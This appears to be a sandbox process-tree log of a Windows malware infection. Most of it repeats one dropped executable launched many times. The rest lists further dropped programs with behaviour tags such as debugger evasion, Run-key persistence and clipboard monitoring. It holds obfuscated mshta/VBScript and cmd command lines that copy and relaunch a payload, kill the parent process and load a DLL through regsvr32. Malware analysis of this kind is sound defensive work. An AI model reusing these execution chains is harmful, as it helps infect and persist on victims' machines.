C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 17796 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 18784 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 23420 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 23576 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\fQylBLHUzMNuy5iD6JfMy1eS.exe"C:\Users\Admin\Documents\fQylBLHUzMNuy5iD6JfMy1eS.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\Documents\fQylBLHUzMNuy5iD6JfMy1eS.exe"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if """"== """" for %A IN (""C:\Users\Admin\Documents\fQylBLHUzMNuy5iD6JfMy1eS.exe"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\Documents\fQylBLHUzMNuy5iD6JfMy1eS.exe"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if ""== "" for %A IN ("C:\Users\Admin\Documents\fQylBLHUzMNuy5iD6JfMy1eS.exe" ) do taskkill /f -im "%~nxA"4⤵
-
C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXEX4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if ""-PXPoqL0iOUHHP7hXFattB5ZvsV ""== """" for %A IN (""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if "-PXPoqL0iOUHHP7hXFattB5ZvsV "== "" for %A IN ("C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE" ) do taskkill /f -im "%~nxA"7⤵
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" -S fOUT6o7J.Mj6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f -im "fQylBLHUzMNuy5iD6JfMy1eS.exe"5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\30X0JyTHZ4ptVyQ6OOKMvyE6.exe"C:\Users\Admin\Documents\30X0JyTHZ4ptVyQ6OOKMvyE6.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\keehp1slUqQ6eGFYCBLjMqZ1.exe"C:\Users\Admin\Documents\keehp1slUqQ6eGFYCBLjMqZ1.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 6763⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 6723⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 11483⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 6723⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 11203⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 6563⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 11563⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 11963⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 12563⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 11323⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Documents\UfcjirObztjrJz8CwcdP9BfO.exe"C:\Users\Admin\Documents\UfcjirObztjrJz8CwcdP9BfO.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"3⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\K3VJtrEgekghv8LvFcsboLmQ.exe"C:\Users\Admin\Documents\K3VJtrEgekghv8LvFcsboLmQ.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\K3VJtrEgekghv8LvFcsboLmQ.exe"C:\Users\Admin\Documents\K3VJtrEgekghv8LvFcsboLmQ.exe" -u3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\6AdFGi0UHc2Z_uw6Lp_d7TDO.exe"C:\Users\Admin\Documents\6AdFGi0UHc2Z_uw6Lp_d7TDO.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\mWQ9j0HNTxxR49YL0zL9N7la.exe"C:\Users\Admin\Documents\mWQ9j0HNTxxR49YL0zL9N7la.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\8927558.exe"C:\Users\Admin\AppData\Roaming\8927558.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\4261029.exe"C:\Users\Admin\AppData\Roaming\4261029.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Roaming\1975493.exe"C:\Users\Admin\AppData\Roaming\1975493.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\6799706.exe"C:\Users\Admin\AppData\Roaming\6799706.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\gmK2nJSVt9iUGTMn4saktDSK.exe"C:\Users\Admin\Documents\gmK2nJSVt9iUGTMn4saktDSK.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-L9V9A.tmp\gmK2nJSVt9iUGTMn4saktDSK.tmp"C:\Users\Admin\AppData\Local\Temp\is-L9V9A.tmp\gmK2nJSVt9iUGTMn4saktDSK.tmp" /SL5="$10276,138429,56832,C:\Users\Admin\Documents\gmK2nJSVt9iUGTMn4saktDSK.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-FHK8B.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-FHK8B.tmp\Setup.exe" /Verysilent4⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Program Files directory
-
C:\Program Files (x86)\SmartPDF\SmartPDF\VPN.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\VPN.exe" /Verysilent5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-668VL.tmp\VPN.tmp"C:\Users\Admin\AppData\Local\Temp\is-668VL.tmp\VPN.tmp" /SL5="$70272,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\VPN.exe" /Verysilent6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-0LMUF.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-0LMUF.tmp\Setup.exe" /silent /subid=7207⤵
-
